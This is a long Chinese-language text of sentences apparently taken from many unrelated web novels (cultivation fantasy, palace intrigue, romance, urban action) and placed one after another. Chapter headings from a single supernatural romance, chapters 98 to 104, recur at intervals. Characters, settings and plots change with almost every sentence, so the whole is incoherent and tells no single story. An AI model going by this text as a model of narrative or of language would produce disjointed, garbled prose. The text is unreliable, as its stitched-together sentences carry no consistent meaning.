昔日轮回大帝在帝宫留下了这块棋盘,多少大帝进去,和他论道,最后又败下阵来,留下了这一颗颗的大道棋子。 “既然这样,那么希望你不要后悔!”志村阳撇了撇嘴,他对这种事情也只能点到即止。 “我是认真的。”她极认真地道,努力表现出一副我很认真的样子。 就在这时,阶梯下面又出现一道身影,当这道身影出现之外,顿时,全场无数青年天才目不转睛,眼中浮现出一抹惊艳。 “老板,这是无可奈何之事,如今之计只有多吃,无论时间多长,都要积蓄足够的力量,这一点我是赞同您的。”路德维克道。 “说我很忙,非常的忙,没有时间去觐见他老人家!”她继续低头自己的工作。 这是一些扩散出来的余威,波及到了他们,哪怕只有千分之一的力量,也足以将他们杀死。 其实他们岁数都不大,也就是三十多岁,朝平为了客气才跟他们这样的,他劝架也不怕他们不识好歹,就算他们两个都针对朝平朝平打他们也是非常轻松的。 陈焕之心知肚明,牧棠之肯定想过,也很清楚其结果,可牧棠之还是这么做了,分明就是把他们这些曾经的盟友也一并当作礼物送给了大齐。 伊卡洛斯看着坐在座位上身心俱疲的宋杰,走到了他的身边坐下“master,你看起来好累的样子,好好休息一会儿吧。”说着就把宋杰的脑袋放到了自己的大腿上。 看着一脸严肃的父亲,迪亚士中重重点了点头,然后就向着船长室跑去。 紧跟着,蔡京又回想起了今天王祖道那几次“不怀好意”的神色,以及他王祖道儿子险些被蔡家子孙打死的事。 “牡丹,你还是喊我子安吧,伯父那边怕是不会同意我们的婚事,万一被他听到,怕是又要生出一番麻烦。”潘子安忧心忡忡的开口,听着杜牡丹喊夫君两个字,实在是别扭的狠。 他一路再皇宫中摸爬滚打着长大,早已经忘记了外面的世界是什么样子。 如同当初3d技术般的重要性。在3d技术诞生的初期,很多人并不看好电子游戏在3d领域的研发工作,对电脑的认识还停留在软件应用的层面。在当下,世界游戏领域已然成为了与传统行业同等重要自有生态圈。 除了一些邪魔外道,每一位武圣都是威名远播,声名赫赫。而每一位武圣的晋升都是足以震动大陆的大事,消息瞬间就能传遍整个大陆。 好在,每个党派都要招新人,都要吸收新鲜的血液,看分部的话,对人才的需求更是紧迫,在一些老关系的帮助下,希姆莱成功混了进去。 一道身影从天空中闪过,带着阵阵残影!这呼啸而过的身影正是刚刚离开幽明谷的萧炎。 冷笑一落,一股强横灵魂之力猛然自萧炎的眉心爆发而出,这些灵魂之力……丝丝的缠绕在那黑色玉简之上,然后不断的冲击着其中所隐藏的灵魂烙印。 这是一艘军事运输船,整个船体锈迹斑斑的长满了绿色的青苔。它就像一位上了年纪的老者一样脸上写满了历史的痕迹与沧桑。不同的是当袁帅看到这艘驶来的破旧运输船时,眉毛几乎都拧成了一股绳。 “罢了,看来我来得不是时候。”楚天装作叹了一口气,便转过身,仿佛随时都要离去。 她现在有了孩子,以后,她的生活里的重心就是要给付子浚和肚子里的孩子所有的一切。 只是因为只剩下了杀戮本能,那些还存活下来魔化生物,即使实力强悍恐怖,但是因为失去了思考本能,加上没有痛觉和七情六欲,不知恐惧为何物,所以战斗起来,基本上都是横冲直撞,如不知疲倦机械一般战斗。 舒逸跟着沐七儿上了楼,进了岩花的房间,岩花也进去了,顺手带上了门。 “等等把画面倒回去,怎么亲‘吻’那场戏把旁观的人也都录进去了。”身为监制的珞洛突然说道。 “苍穹一刀!”再度一刀,段尘直接劈砍在了食人花的根茎上,顿时,食人花的根茎直接发出一声“咔嚓”声瞬间断裂开来,段尘的刀,直接将食人花给切断了。 穿过音乐学院,就是一个大操场,也许是上课时间,操场上的人并不多,可就在两人即将离开操场的时候,她们看到了数不清的,五颜六色的气球,氢气球。 其实,此时,这摩托车也是有高速的,或许,在试骑合适之后,杨乔会来一个高速,然后,这高速会被封起来,然后,先训练骑手,再进行试验。 杨乔在听着电话里面的汇报,而一边,牛宝宝伸了一个优美的懒腰,慵懒的说道,秋天到了,又是收获的季节到了。 汽车行进的很艰难,但速度也不是太慢,最终在凌晨一点多的时候,杨逸他们到了距离大伊万的庄园还有两公里多的地方。 第一卷 第98章 那东西白天没有影子 于玉澜…… 果然还活着。 还被于平安藏在这个豪华大别墅里。 “于玉澜和于平安、她们不是兄妹吗!”流苏接受不了地捂眼睛。 于玉晚更接受不了的苦笑道: 但如果不紧随陈煜之后,林昊根本无法破解这尸修的遗迹,只要稍微走错一步,就会直接陨落,根本没有任何的悬念,是以,即便与陈煜同行会十分危险,但林昊也只能如此,谁叫他根本不知道尸修是如何修炼的呢。 速度提升了,张影一闪身就迎面冲向沙漠死神,这举动可吓了苏莹一跳,她原本以为张影会打游击战,耗死沙漠死神,可是没想到他居然敢硬碰硬。 “我们总以为自己失去的可能是这辈子最好的。”雷耀说的很慢,像天边飘动的云。 那种感觉,就像是水里的鱼,从水面看下去时,它就在你的脚旁,可真正伸手去摸时,却发现隔着你的脚还有好几寸远呢。 司徒茗是个成年人,在皇位上面经历太多的尔虞我诈,接着还有江湖的腥风血雨,想的定然是比楚连城周全了很多,楚连城就算是平时显得多么的干练,说到底,还不只是一个孩子。 泽驿客客气气,把楚连城送到了凤南瑾的身边去!凤南瑾那个时候正在院子里面,什么地方都没有去,就好像是知道,楚连城会来一样,见她过来,凤南瑾轻松的笑了笑,大步走到了楚连城身边,亲昵的揽住了楚连城的腰。 上官风叹气,他开始理解起博斯科普人和尼安德特人来了,而且还有一件事让他不解,明明大洪水是不会伤害到博斯科普人的,怎么他们会在这个时候参与进来呢? 一言甫毕,张影已经掠到第二个法师的身旁,交出一个十字劈,瞬间将她的气血拉到冰点。 根本就不是个办法呀,现在外面不过只有10几个,根据闫良基地那里逃出来的人报告,里边至少还有100人之多,只要这些对手出来,联军方就束手无策了。 就在所有人都以为练气期这场比赛即将结束时,一个练气期大圆满的弟子跳了上来。 见到蓝心洁走远,吴明不知道为何,也跟着她走了过去,两人就这样一前一后,向着公园的北门走去,没过多久,蓝心洁也发现了吴明尾随在后面,心中暗自得意了一下。 “妈的!不要试图考验我的耐心!”金居灿冷冷的说道,虽然四象剑技和身法秘技重要,但是他一位剑狂,怎能任由这么一个少年戏耍?即便现在他也已经猜到了少年身后的势力有多么惊人,可是此刻已然回不了头了。 王战更是了不得,只见他神采飞扬,一双眼睛,似如琥珀,精光闪现,时如春风,咋若盛夏,恍若悲秋,一如寒冬,双目一睁一闭之间,就好似四季轮转不休一般,包含了春夏秋冬四季之精华深意。 而那石棺失去了牵引,也向着地面急速坠落下去,骆兴邦见状,连忙赶过去,高高跃起,用手托住石棺,缓缓地降了下来。 “举目皆望,这离国算是最强盛的国家了。雪真,嫁过去了之后,要好好伺候着二王爷,多替月国做贡献,知道吗?”王后继续说道。 第一卷 第99章 第二片龙鳞在于玉澜手里 杨大哥潇洒收回拂尘搭在臂弯处,朝警察中的二把手男警官招呼道: “人你们先带走,他精神有点问题,记得单独关押,别让他乱传播封建迷信! 我还有事要找郑警官商量,咱俩就不和你们一起回公安局了!” 嘭,老者的药鼎中跳出一颗丹药,充斥着药香,而且他面前的材料全部都被利用,从时间上,他认为自己获胜了。 屋外的萧炎跟英无双被这突然散发出来的能量波动冲击到,吃惊的回头望去,没想到刚才那毫无气息的翅膀竟有如此浑厚的能量。 这么一说,大家才发现,尸仇和尸绝的处境一样,都是被自己人排挤,没想到兄弟两到头来遭遇一样。 这身服装脸色白些人的穿起來很漂亮。但是遇到如赵大山、秦疆一般的黑脸。只能显得更黑。 陆霜见自己的紧身衣被孙菲剑锋所破,露出诱人双峰,一张俏脸羞得满脸通红。 夏海桐先是重重地哼了一声,然后就是潇洒的一个甩头,可是她的脚步,却不能潇洒地迈开。 所以当四虎子吼着颇有些尖刺的嗓音大骂特骂的时候,换來的当然只有两记差点沒把他下巴打掉的耳光外,还有那又重新套回到脑袋上的黑布套。 如此一旦受到伤害,就可以马上治愈,也不用担心魔法和战技使用得过于频繁导致炼力枯竭,无以为继。在消耗战之中,不竭神丹和永生丹甚至要比治愈神丹和护心神丹还要好。 过了一会,等侍卫把客栈全部搜查一遍,一个一个告诉他没有看到侧王妃的时候,他忽然想起英儿今日的异样,似乎反应出什么似的,心也开始一点一点地冰冷下来。 闻声抬头,苏易容见十三风姿翩翩的走了过来,脸上噙着一抹笑意。她放下手,看他一眼,又托着腮,叹了口气。 望着那惨烈无比的战斗,雷妖老祖感觉到自己的心都是被万刀所扎一般,那些,可都是雷妖一族的中坚力量,然而,此时却是如同鱼肉一般,任人宰割。 “老婆,你还年轻,找过一个嫁了吧,不要再等我了,好好把我们的孩子养大,有空帮我照看一下我妈,我先走了!”六长老哽咽着说道。 别以为这是在说电影,这跟电影没有半点关系,复仇者联盟是美国的一个强大组织,这个组织似乎是跟美国政府有着密切的联系,美国政府提供给他们丰厚的物质支持。 “左手手指只要调音就可,我可以不用食指,来,听我弹。”郑延钟就拉着苏若瑶去客厅了,不知心里有多希望有个听众呢,而最好的听众就是懂他乐曲的苏若瑶了。 事情要暴露了,苏若瑶要跑,但怎么跑得了。程延仲拉住她,她就遮住脸。程延仲摸摸她脸上,抹掉一层“血”,露出的是仍然光洁润滑的脸。 将信将疑的青衣毒姑始终没有踏上去,别听这徐衫说的玄乎,可这关系到自己的宝贝徒儿,容不得有半点马虎。 苏梨落本来以为慕容毅就是躺在床上,那也没什么,她愿意伺候他,只要人活着就好。可是如果今后动不动就发热的话,岂不是次次都危机性命。 诸位先辈,逸尘不才,今日,借诸位先辈之威,先行为我族讨还些许利息!随着秦逸尘内心的低喝,丹田之内,真龙印记微微闪烁,可下一瞬,却见那满地尸骸中,传出了一阵阵毛骨悚然的声音。 第一卷 第100章 吾陪你,去看蔷薇花 我心虚地僵了下,捧着水杯背对着他假笑:“没、我有什么可躲你的……” 他似有几分失落,喃喃沉吟:“是么?” 我两口灌完水杯里的温茶,局促地找借口逃离:“我、去看看流苏。” 袁洪皱眉,觉得也差不多了,这一次虽然是被动出手,可是也不能太过分,天域大教诸多,还真有教统不买老蛟的帐。 叶暮把三个招式烂熟于心之后,本打算立即在原地好好练习一番,却被一旁的明季喊住。 “这还是纪冲霄吗?不会被打傻了吧!”一时间,大家竟有这种错觉。 “假如,这就是缘分,那么,我认了!”陆羽慢慢的走过去,然后,双手抱住顾炎,顾炎没有挣扎,陆羽将自己的下巴靠着顾炎的肩膀上,慢慢的嗅着她的发香。 在刘兆兴的一声呼喊令下,同时五人发出了自己的最强法术,铺天盖地的向着擂台正中间覆盖而下。 然而事实上,“飞鹰”的一个分队,也远非“银狐”可以媲美。每个分队按照地区和实力划分,少说也有二、三百人,发展的好些的,有八百、一千也不足为奇。这一次想必是挑选了就近的原则,恰好遇上了这个差事。 听宋铮这么一说,杨蜜也觉得这件事还真的不大好安排,杨蜜只是和她说了,想要参与这部戏的拍摄,也没说打算试哪个角色。 有些人反而觉得,这是一件好事,大道不显,修行太艰难,何尝不是一种磨练,若是一步一个脚印,坚定不移的向前走,将会铸就无比坚实的根基。 “总之……你注意看吧,这场战斗,绝对不会让我们失望。”泰比低低的说道。这骑士格洛瑞自从踏上战场之后,所散发出来的那种干练和熟悉的杀伐气息,已经让他有些不安起来。 罗伊抬头看去,灰暗的天空压得低低的,浓重的铅云完全笼罩了大地。到处都弥漫着那熟悉而让人窒息的死亡气息,压抑、绝望、死亡、痛苦就是这里的主题。 丹药和玉瓶一个颜色,鲜红如血,就仿佛像是三颗血珠子一般,再加上上面不时的散发出血红色的光芒,整体看上去极为的妖异。 “余少校,虽然我没回头,但是我也知道你在报复康瑟夫中尉,如果你不愿意跟着,我觉得你可以现在滚回去。”艾米丽在前面头也不回的说道,她正仰头打量着维修车间。 既然说的是之一,说明除了卫阶,拓跋珪的心中还有不止一个他看得起的人物,只是眼下卫阶却没有打听的心思,直接开门见山地说道。 说到这里,无名脸上流露出哀伤,他张了张想要说出些什么,却又始终不肯说出,似乎有什么难言之隐。 所以生气是必要的,但只要王诺没晕了头,周明海不介意支持王诺一次。 啪啪声不断的响起,极有韵律,那声音有着奇异的力量,不少人听到这个声音,下意识的抖动,似乎听到了非常美妙的音乐。 自己好不容易偶然的有这么大的际遇,生活翻天覆地,人生也将变得无比精彩。 “一月一签?相对回报率和绝对回报率都要为正数?”王诺笑容里充满着揶揄的色彩。 “谢安执掌朝堂数十载,权倾朝野,名震天下,主上怎可如此轻视?”侯亮生不悦说道。 “对了清儿,我朋友他们人呢。”蓝欣知道自己醒来后的消息,肯定李白他们都收到了。毕竟还没有和他们碰头,蓝欣心里依旧有几分忐忑。 只要运用得当,这枚种子在今后的某一天必定能绽放出艳丽的花朵。 远方就能看到玉灵山的山尖,露出了一个头,而林年便在它下面的山道上行进着,虽说看上去近在咫尺,实则距离却是远得很。 估计是节目组了解到播求出身于这座拳馆,特地邀请他过来的,而人家泰拳王播求,也乐意恰这碗饭,才有了现在这一幕的出现。 今年的国庆档竞争依旧激烈,但和前两年的“大年”相比较,今年的国庆档显得“烈度”下了不少。 这让两大皇朝的战士瞬间傻眼了,刚才还打得你死我活的,怎么说跑就跑了? “现在,不高兴了吧?”,无感慨着再度拍了拍助手的肩膀,随之转身离开。 不过谷鸽曾经在人工智能领域,领先世界多年,突破到高级智能也在情理之中。 林年继续释放着观妖术,借着对话的时机,他已经大概了解到,这妖的修为大概在仙侠练气三层左右。 看着人们那吃人的目光,瘦子吓得将绣球紧紧抱在怀中蹲了下去。 暗域,这个恐怖的黑暗魔法,耗尽了他所有的生命力。如果他是全盛时期使用暗域,尚且会消耗魔法力殆尽,此刻他使用出來,只会消耗生命之力。 苏清婉也根本沒有打算对白翊的事情问个只言片语的,因为这些都不重要,她欣赏白翊的笛音,这只是简浅的一个方面而已。 苏清婉说着有礼的福了福身子,李淮安也觉得苏清婉这番话有理,便先行离去了。 这个身影,穿着盔甲,拿着长矛,尖叫惊人的杀戮,爆裂进入嘴里。 高雄也没料到王强还有这一招,仓惶间收回双掌竖在胸前,挡住了王强的双脚。 坐在一旁的百里岚,一直在观察着秋子瑶的表现。她震惊而稳健的态度,让百里岚微不可见地点了点头。 梁若冰心中一阵窃喜,手脚利落地走到蓝康身后,熟练地按在穴位上,沒多会儿的功夫,便听到蓝康舒惬的声音传來。 林逸低头不语。他现在确实不知道怎么负这个责任。可他已然有了颗负责的决心。 “别提那些红头发了,还是说说那个王强吧。您之前说过他不简单,到底是怎么个简单法?”苍傲话锋一转地问道。 见百里岚并沒有发话,春风推了夏雨一下,示意她不要再多嘴。夏雨吐了吐舌头,将下巴顶在手臂上,不再多话。 第一卷 第101章 再算计老娘,就去死! 半个小时后,车子七拐八拐最终停在了一座破庙门口。 下了车,杨泽安拍拍袖子,环视四周,心累叹道:“又是这前不着村后不着店的小破地方。” 村子里的住户都聚集在刚进村东边那条道上,往这边开,全是树林水塘与农田。 泥巴路两侧还耸立着稀稀零零的坟包。 回到房间后,宋御衍给她温了一杯牛奶,他知道,她一旦有心事,晚上就容易失眠。 能利用的都已经利用了,现在的她,对汤怀瑾来说,根本没有任何的用处。 “现在和以前有什么不同吗?”等织仓奇伯感慨完,矢田才问道。 抛开所有的过往回忆,面对眼前这样完全诡异的画面,南瑜的第一反应是害怕。 易瑾亲昵的蹭着她的脸颊,叹息着,将她的身体扳过来,正对着自己,将她拥入怀里。 与此同时,底下麦瑞苏身姿敏捷地躲闪开周围的爆炸和火焰,朝审判间跑去,搜寻贺云龙的身影。 报纸上到处都是关于他们俩的传闻,言爵也不知道实际情况如何,但他唯一可以肯定的是,言优并未放下易瑾。 南瑜幽幽地叹口气,眼睛往车窗外看,汤怀瑾指派的司机,开着车一直跟在唐冠年的商务车后。虽然知道唐冠年应该不会对自己不利,但总还是有些担心。 “李公子,你们怎么在此地?”陈庆安出关之后便看到了李子豪,惊呼而问。 众人都看看萧元帅,笑了——这个李郡主,到这会儿了,还是那么维护他们的萧元帅。 一夜无语。一旁的天厉对于二人的亲昵动作,根本不置理,翻了翻身,继续鼾声如雷般睡的更死猪一样。 若观其面相,不过三十而立之年,五官乍看之下,几乎是完美的搭配组合,但若眯眼仔细看去,却现,那张完美的脸庞骤然间,变的模糊不清,让人捕捉不到其中的表情。 对此,林寒并不畏惧,他只是冷冷盯着沈万仞,嘴角有着讥讽笑意。 不知为何,雪落突然就不想跟蓝悠悠狡辩什么了。她看到了蓝悠悠手臂上已经干涸的褐色血污,那是她早晨砸门时留下的。 几乎是在眨眼之间,整个老虎寨便沉浸在一片火海之中,其中怒骂,哭喊,求救……各种悲惨的鸣声不断传出。 “龙九,那黑山怎么了吗?”见龙九指着黑山一言不发,柏宜楠一脸疑惑的盯着龙九,询问了起来。 “欣婷回来了?”这时候就听一个成熟稳重的声音传了过来,接着就见一个成熟的帅哥带着笑容走了出来。 “狂妄之徒,还在胡言乱语。给我受死。”赤长老一身怒喝,庞大的手掌呼呼朝唐炎拍了过来。 也是为了这个愿意,他们兄弟三条蜥龙在突破到天级后,都选择化形成龙。 第二层与第一层之间的楼道间,狂三shen手轻轻摸一下腹部走下来。 蓦然间,右手抬起,已经化成滔天掌印。好似从九天坠落的星辰,汇聚璀璨星光。 的资金,即使我们现在也没你这么富有,所以说你值得我们夸奖,也值得我们尊重”。 林晨轻松一躲,闪身没让杨康抱住,杨康没想到林晨反应如此迅速,不过也不以为然,笑着。 两个月时间,庭树经历了上百次挑战,大部分道馆都不会这么拼命。 九月中,调养了一月有余的沈轻舞坐完了月子,顾靖风亦在边关与大漠对峙,蓄势待发。 朱红色的大门前,一面秦国部队的旗子迎风飘扬着,号角之声绵绵不绝的吹起来,秦过军队的士兵,整齐划一的向前走着。 你和一个都不是这个世界的人谈论末日什么的,根本不可能能够打动的了对方,至于纯说谎的可能性,爱花还是判断的出来的。 聂风愤然进场,脚下钢腿,踢向秦岳,腿点如暴雨般倾泻,细雨满天飞,腿影密密麻麻地交织在一起。 “非常荣幸能和一位同为道馆馆主的训练家对战。”庭树微微一笑,藤树给他的感觉,便好像全世界都将被他掀起一层巨浪一样富有进攻性,这可能就是对方的战斗风格。 “这次的事情,我们通过自己的情报,还有玄洋的口供,已经整理出了事情的来龙去脉。”吴欣首先说道。 陈放觉得灵台之处,仿佛有种无形的力量在拉扯着他,要将他拉出这具躯体。但那丝雷元又如锁链一样,将他禁锢在了这躯体里面。 王树山直接爬过来,抱住了秦天辰的脚,鼻涕一把泪一把的哭诉起来。 说罢,凌无眉便把铸剑山庄已押送兵器出发的消息告诉了白之宜。 护城大阵内的柏家军,昂视着苍穹中朝谭云杀去的神魔将,他们凝神屏息观望,能听到彼此之间的心跳声。 人类从不会对任何其他种族发动袭击,因为我们根本没有那样的能力。 进来的一瞬间,便如进入另一个世界。而之后,进来的路已经闭合了。 而这些死灵怪也着实是没有脑子。也有很多朝雷霆漩涡冲杀过来的。 “好。”淳于焰点了点头,转身就走,准备去挑选精良士兵护送他们出发。 可是紫魄不死之身的秘密,连自己都不知道,为何正派之人却知道了?而紫魄跟东方闻思说完共生蛊的秘密,一品红却刚好离开,紫魄怀疑,所以才想要追上去,如此一来,一品红确实有着最大的嫌疑。 入乡随俗嘛,在我对哥谭市有所了解之后,发现这样的风格应该比较符合哥谭的气氛。”林宇微笑着说。 白慕雪面色一变,忙是跟着闪身来到赵汝妍身后,双手抵在赵汝妍的背后。 众人见他如此大逆不道,直呼天子之讳,脸色齐变,兵刃纷纷离鞘。 李诗诗其实向来对这种如同画里的人有种莫名的疏离感, 即使之前也有人如他这般, 李诗诗也仅仅只是看看从未有过任何妄想。 狗蛋转过身来,看着已经没有生命气息的宗主,走到旁边捡起了刀,接着慢步向肉蛋那里走去。 就在众目睽睽之下,王朔脸色愈发苍白,毫无血丝,随后双腿一软。 而等到余雪随着公孙倾进屋的时候,李诗诗竟一点都没认出这人就是余雪。 第一卷 第102章 他还真是痴情,找了个凡人替身 被我打偏脑袋的风柔不敢相信的诧异瞪大眼,捂着红肿脸颊扭头眼神凶戾地看我。 起初她还不停否认,但付建民审过多少犯人,冯梅在他面前压根不够看,审了两轮就把事情给交代了。 在中年男人身后,还站着两名身材高大的黑衣保镖,目光冰冷,浑身散发着一股生人勿近的煞气。 “大哥,爹娘不会是冻死了吧!你赶紧看看。”苏弘武可不想大年初一变孤儿。 祥迪明还送金红去医院看病。一个月后金红病愈,又进入舞厅,并有人愿意娶她,祥迪明卸下了一个大包袱。 另一个说:一个月做下来,一盘账不但没赚反而亏了。亏在哪儿,亏在雇工,没生意工钱要付,吃用要钱。照这么做下去越做越亏,潘老板你给我们出主意吧。 ‘器灵’所说的破碎空间,是‘祭坛’在巨大的能量下,破碎世界和世界间的屏障,并且将两个世界的某个点以一种难以理解的方式折叠重合,形成通道。 从眼睛上看,箫明珠是哭过的,所以才会肿成这样,宫中太医应该能处理,但是她没让。 “怎么了?我这个理由难道不够正当,不够充分吗?”萧天说道。 昨天父亲就跟她说了,今天会有一个世外高人到集团,以后将负责保护自己的安全。 其实,蔷薇在家里,她应该早些回来才是,只是最近实在是太忙了,这个时间点已经是努力争取的了。 “怎么样?给我做保镖还可以和他们聊天,否则你就见不到他们了。”林静姝强硬道。 尽管特战队员们一个个枪法如神,依旧可以准确地击杀那些上蹿下跳的丧尸,可由于多了标准的拖累,射击速度已经比起之前要慢了许多。 杨浩怒喝一声出现在正要尽力的明盛身前,同时手指飞速转动,一股极为暴动的气息在他身上散逸出来,身上的银色光芒照亮整个洞府,同时一声低沉的吼声响彻整个洞府。 仙王兵改变了天地道则,这是南海仙门的推测,虽不算对,但也不算错,因而南海仙门一直想统一乱国找到这件仙王兵,而龙渊帝国本就是碧海宫的世俗势力。 林楚后面两句说得正气凛然,铿锵有力,像是专门在演讲会上搞动员的。 “不是,是同事,我们俩一起打算摁着照片上那家伙打一顿再跑的。我哪儿知道抓错人了。”夏元苦着脸说道。 江东羽用行动回答了青云大师的话,他抓住徐三输的手臂,三百六十度的转了一圈。 肃宁急了,李艳阳不说话不动作,就那么打坐,让他实在摸不清头脑。 这一战尽管损失惨重,不过却无意中收获了一个意外的好处,那就是那些人类居民们的诚心依附。 听到问话,在场众人纷纷点头表示赞同,一路以来,一直都是陆祁这个护卫队长在规划路线,他们又怎么可能质疑插手呢? 既然幽狼敢把这种奇特的植物给种植在自家大楼里,放心大胆的让这些植物把自己包裹起来,如果还像是安娜说的那样“不哪想到长得太好了”来解释的话,那幽狼还会是幽狼吗?早给人灭了无数次了吧。 林远爱想到这里,就忍不住的猛地咳嗽了起来,有鲜红的粘稠液体,一下子就喷了出来,有那么两三滴,落在了李微笑的裙摆上。 “不是你的错,说来也是我思虑不周。”孟昶低声说道,凤九幽的死,他心里也不好过。那个男人,是用生命在守护浩天城,守护她,说来,他真是惭愧呢。 她突然间觉得鼻根之处有些微微的酸疼,刺‘激’的她眼睛一下子就蓄满了泪‘花’,她的眼泪没有流了下来,只是噙在了眼底,望着他。 露天宴会上的音乐,变得更加响亮,周围挂起来的彩灯,闪烁的更猛了。 他心情一开始本来是很好的,不过,再看到那个花瓶,忽然就变得有些沉重。 听完他有点奇怪的话,玮柔荑回想了昨晚在床榻上的事情,脸蛋变红,突然一顿,点头。 “不会吧,据我所知,妖王级别的妖魔是不可能来地球的呀,除非”安丽思亚欲言又止。 我尴尬地收回伸出去的手,看了看一点自尊都不讲的德德,摇了摇头。 “怎么就不问我刚刚跟楚翰轩说了什么?”容浅仰着头看着那俊美无俦的容颜,眉眼间带着些许的戏谑之色。 这是千凡尘悟出来的道,圣域所有人的修灵但是真正能悟出自己的道,走出自己路的人很少。 若是他没死,她救了他,也不会心生愧疚,至于他能不能好起来,那便是另一回事了,她怎么也不能让自己这么离开,那样日后她定然会愧疚一生的。 沐雪的思绪被纳兰彻的话弄乱了,不由的摇了摇脑袋,仿佛只要这样,就能把那些杂乱的思想抛诸脑后。 第一卷 第103章 大王,你把娘娘元神砍出来了! “大王!”仙家们顿时找回了主心骨,纷纷回到帝曦身后。 帝曦一手扶着我的腰,一手操控法力收了藏息铃。 将藏息铃塞回我手里,留给我防身。 关羽赤膊打马上阵,对上自己的老冤家华雄,没等交手,二人眼神的对视就已经充满十足的火药味。 出了一口气,司徒浩宇心满意足去地下训练场把董桀好好揍了一顿,心中的郁闷发泄得差不多了,面无表情回去医院了。 这可真是个问题,密码不能不告诉人家,不然人家肯定拿不到钱,拿不到钱就不能放她走。可要是告诉了他,自己的身份信息不就泄露了? “怎么样,一切都顺利吗?”他们确定关系后,陈双的电话变得频繁起来。 云姑刚才大胆一试,方才就在对方在看匕首的时候还暗暗捏了一把汗,没想到他果然认识这把匕首。既然认识,那就一切好办了。 一世浮华褪去,两世苍凉成梦。听,那凄迷之音,是心在滴血。生者,成与败都将万劫不复。死者,梦醒梦碎世事皆休。 眨眼间,画面就变了。出现了一座巍峨的雪山。山的对面是一片水平如镜的湖,湖的中心竟然有一座高耸入云的塔,那构造跟碧落岛上的伽蓝塔几乎一模一样。 姜铭这几天给风老师逼着学了很多东西,现在看来,似乎还是有点用的。 谢璧抬眼望去,便看见了来人。残阳已落下山头,夜幕降临,但房中还不是那么黑,因为一钩狼牙弯月已悄然升了起来。借着淡淡的月色,看得分明,赫然是辽东马帮的帮主鸠天印。 三日后,一头乱发,浑身污泥,表情呆滞的曹孟德终于活着回到了陈留,他父亲看了好一会儿才认出这是自己的宝贝儿子,惊讶万分。 清远、静萧、真月三个道人见教主并无表示,也不敢再次进言,只是领着杨南沿着宽阔山道往青龙山中走去。 “嗨!”慢慢的斧子上黑白的斑纹,转移了位置,黑色的斑纹集体向前,而手柄处基本是白色的斑纹,短短三面,叶枫满脸汗水,可想移动其中的金属粒子是多困难。 “不用!陈柯旭上吧!记住攻击他的下盘,可以说你的命脉克制他!”目老分析的很对,陈柯旭可是地刺,不仅可以地下攻击。 “呃……”吴东国扭头随便瞟了一眼,但这一瞟倒是呆了呆,他看到江雪雁那容貌气质,也不禁盯着她看,上下打量。 而这个时候,华枫将白人阻击手从驾驶座里拖出來仍在地上的时候,刚才那些发现异常的新洪门成员反应过來的时候,急忙追过來,现在已经來到华枫旁边。 只有特别富有的人家,为了自己的面子,才会比其他人烧得更多。当然,人人都有钱也就意味着人人都没钱,这是颠扑不破的真理。 而血雕一双巨爪早己不知所踪,狠恶血红的雕眸瞎了一只,就连一只鲜红羽翅也折断开来,垂垂若死。 转眼间,春去秋来!木宇众人在玄冰分院之中一呆便是半年有余。 “不要在这里闹事,先把老板交给我们的事情完成了。”那大汉道。 自己的道和杨眉还有所不同,看来自己要在神通证道这方面,越走越远了。 要知道破灵箭可不是普通的箭,而是由大殷的一位炼器师和一位刻阵人联手打造,专门供应给黑甲卫的大杀器,其最大的特点就是可以对七魄之灵造成损伤,每一根箭虽然不是诡兵,但比之一纹诡兵也丝毫不弱。 “放心吧,这只是一个开始,他们不敢把你夫君我怎么样的。”唐正笑着,拿手捏了捏苏清寒的脸蛋。 “你是不喜欢骗你?还是关于夏如沐所有的事情,你都那么的介意,我们之间,只要提及她,你永远都是这个态度?”苏念晴忍不住笑起来了。 他并没对自己那番义正言辞的话报什么希望——上一次,他慷慨激昂说这些的,被揍得特别惨。 不过楚亦枫,想你的时候,你不在我身旁,如今,还有什么意义呢?终究是错了。 过来看望重兵患者,人家家属提出整理一下房间,还是能够理解的。 而唐仁他们不敢回头,在这种情况下,每一次回头就是多一份不舍。 就在这时,空中钟声响起,一个百丈大钟,将东王公等人罩在其中。 妖尸只好暂时放弃吸血,但却不肯就这样放弃董乾,拉着他往旁一闪,避过了银锤,那鬼婴“呱”的一声怪叫,跳回妖尸身上,抱着它的腿。 “不用了,本宫在宫中有歩辇。”容琦说完这句话,似乎让那侍卫一愣,脸上油然生出一股难以置信。 第一卷 第104章 她凭什么是水神娘娘转世! 替、身? 你奶奶才是替身呢! 胡玉衡四爪用力抓在地面,七条狐尾在身后胡乱摆动,被风吹得狐毛乱飞。 颜如玉趴在地上腾出手抹了把脸上的毛毛,受不了地呸了好几声: 方蕙被人搀扶着站起身,转头看了一眼身后的沈若惜,瞬间火大,刚想质问是不是她绊的,但是一想到跟她吵起来自己占不到好处,况且自己还有正事。 洛雪知道,他这只是借口,他就是怕别人背后议论自己,所以才这样说的。 许莓闻言笑着说了声谢谢,薛岑则是一脸傲娇,丝毫没有不好意思。 这帮阿sir不知怎么做事的,杀人犯都能让逃了,不过这样也好。 说的时候话语间带着几分嫌弃,几个壮汉拿了钱办事,听了雇主的话,四个壮汉站好四角,抬着四肢就将人举了起来。 笑话,火都点好了,不让这狗崽子进来被火烧一烧,不是白忙活了? “徐总,不好意思,我们是正规公司,恐怕帮不了你。”他明显不想蹚这浑水。 柴烧尽,城隍庙里没了光亮。很静,静得连轻风走过的声都格外分明。 等黑短发男人艰难地来到了医院,看着人来人往的医院大厅,脚步不自觉僵在原地。 4l:也没有人说只有德鲁伊能接任务吧,我记得之前不是已经有人接过了? “如果认真想,就能很清晰的出现在你的眼前。”宋念安缩着两只手,她并不想回忆那些玩意儿。 我牺牲了和慕桥去清水河边约会的时间,将乔子默打光屁股时期到青春期沉默如雪的表现,都一五一十地跟陈香香汇报了。 我不喜欢下雨,我是一个喜欢闹腾的人,一下雨就会有很多束缚,呆在家里闷得很,一出门就会踩一身的水,回到家里也是一身的潮气,连带着心情也不太爽利。 即使是雍正爷本身就是一个心思十分深的人,但这也并不代表着他在每一件事的背后,都是这么充满算计的。尤其是,婉婉其实相信,皇后会好好照顾言蹊的。 与此同时,吴满腾自外边走了进来,看着平躺在床上的杨雪雪,眼眸中翻滚着贪婪的光芒。 美儿看着眼前发生的一切,她不禁说道“没想到你这么厉害!”,东方鑫淡淡的笑了笑,他再次带着美儿向洞里走去。 七彩山鸡跟红蛇萱萱都是一脸懵逼,他们都没有明白发生了什么事情。 再说回现场,张扬眼中露出思索,片刻后他提出了自己所要的补偿。 只是,楚夜铮不知道的是,安夜熙很早就利用了苏珞璃,已经脱不了干系了。 